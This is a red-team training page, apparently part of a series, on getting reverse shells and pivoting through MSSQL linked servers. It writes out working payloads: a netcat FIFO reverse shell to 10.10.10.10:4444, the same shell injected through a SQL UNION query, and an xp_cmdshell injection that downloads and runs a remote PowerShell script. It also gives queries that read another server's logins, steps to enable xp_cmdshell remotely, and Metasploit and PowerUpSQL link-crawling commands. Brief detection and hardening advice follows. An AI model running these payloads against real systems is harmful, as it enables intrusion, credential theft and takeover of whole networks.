Ir al contenido

📕 FIELD MANUAL 7.3: REVERSE SHELLS & LATERAL MOVEMENT

Objective: We will establish persistent interactive control and use trust links between databases to pivot to other servers in the...

0views

Classification: RED TEAM EYES ONLY

Objective: We will establish persistent interactive control and use trusted links between databases to pivot to other servers on the internal network.

Targets: Windows Corporate Networks, Active Directory Environments.

MITRE ATT&CK: T1059 (Command and Scripting Interpreter), T1210 (Exploitation of Remote Services), T1021 (Remote Services).

A “Web Shell” (Module 7.1) is passive: we send a command, and it responds. A “Reverse Shell” is active: the victim server connects to our attacking machine (Kali). This bypasses most inbound (Ingress) Firewalls, as outbound connections are usually allowed.

In corporate environments, databases need to talk to each other (e.g., the “Sales” DB reads data from “Inventory”). Administrators configure “Linked Servers”.

  • The Danger: If we compromise server A, and A is linked to B, we can execute queries on B using the link's credentials, often with elevated privileges (sa).

2. WEAPONIZATION A: REVERSE SHELLS (INTERACTIVE MODE)

Sección titulada «2. WEAPONIZATION A: REVERSE SHELLS (INTERACTIVE MODE)»

We already have command execution (via xp_cmdshell or system()). Now we will convert that into a real session.

Reference to the Intel PDF (“rm /tmp/f…”)

If we are on a bWAPP in Linux:

  1. Listener (Our machine): nc -lvnp 4444

  2. Payload (Victim):

    Ventana de terminal
    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 4444 >/tmp/f

    SQL Injection:

    Ventana de terminal
    ' UNION SELECT 1, system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 4444 >/tmp/f'), 3... -- -

We will use PowerShell or Netcat (if we can upload it). The “PowerShell One-Liner” method is the cleanest (Fileless).

  1. Listener: nc -lvnp 4444

  2. Payload (Nishang Invoke-PowerShellTcp): We will download a script into memory that initiates the shell.

    '; EXEC xp_cmdshell 'powershell -c "IEX(New-Object Net.WebClient).DownloadString(''[http://10.10.10.10/shell.ps1](http://10.10.10.10/shell.ps1)'')"'; --

    (Where shell.ps1 contains the logic to connect to port 4444).

3. WEAPONIZATION B: LATERAL MOVEMENT (LINKED SERVERS)

Sección titulada «3. WEAPONIZATION B: LATERAL MOVEMENT (LINKED SERVERS)»

We are inside Server SQL-01. We want to reach SQL-02 (Finance) but we don't have a password. We will check if they are linked.

We will ask: “Who are you talking to?”

  • Query:

    EXEC sp_linkedservers;
  • Result: | Name | Provider | Data Source | | :--- | :--- | :--- | | LOCAL | SQLOLEDB | SQL-01 | | FINANCE_SRV | SQLOLEDB | 192.168.1.50 |

The OPENQUERY function allows us to send a SQL statement to the remote server so that it executes it.

  • Remote Reading (Steal Finance data):

    SELECT * FROM OPENQUERY("FINANCE_SRV", 'SELECT * FROM master..syslogins');

    Impact: We are reading the passwords/users of the other server without having authenticated directly on it.

If the link is configured with sa privileges (very common), we can activate xp_cmdshell on the remote server.

  1. Enable xp_cmdshell REMOTELY:

    EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE;') AT [FINANCE_SRV];
    EXEC ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [FINANCE_SRV];
  2. Execute Commands REMOTELY:

    EXEC ('xp_cmdshell ''ipconfig''') AT [FINANCE_SRV];

    Result: Now we control the Finance server. We will repeat the process if that server has another link. We can pivot through the entire network.

Metasploit has a module that does this automatically, searching for links recursively.

use auxiliary/scanner/mssql/mssql_link_crawler
set RHOSTS target_ip
set USERNAME sa
set PASSWORD ...
run

The ultimate tool for Red Teams in MSSQL environments. It is a PowerShell script.

Import-Module PowerUpSQL.psd1
Get-SQLServerLinkCrawl -Instance "TargetSQL01" -Verbose
  • It will provide a graphical map of all linked servers and where we have sysadmin privileges.
  1. Outbound Traffic Logs: We will detect connections from database servers to unknown IPs (external ports 4444, 80, 443), indicative of Reverse Shells.
  2. Use of OPENQUERY: We will monitor queries that use OPENQUERY or OPENROWSET containing suspicious strings.
  3. Remote Execution: Logs showing EXEC (...) AT [LinkedServer].
  1. Principle of Least Privilege in Links: We will never configure a Linked Server using the sa security context. We will use a specific user with read-only permissions (db_datareader) on the target database.
  2. Disable Ad Hoc Queries: We will block OPENROWSET and OPENQUERY if they are not strictly necessary.
  3. Segmentation: Database servers should not have Internet access (to break the Reverse Shell).

Status: CAMPAIGN COMPLETED. Final Report: We have acquired complete knowledge, from 1' OR 1=1 to compromising an entire corporate network by pivoting between servers.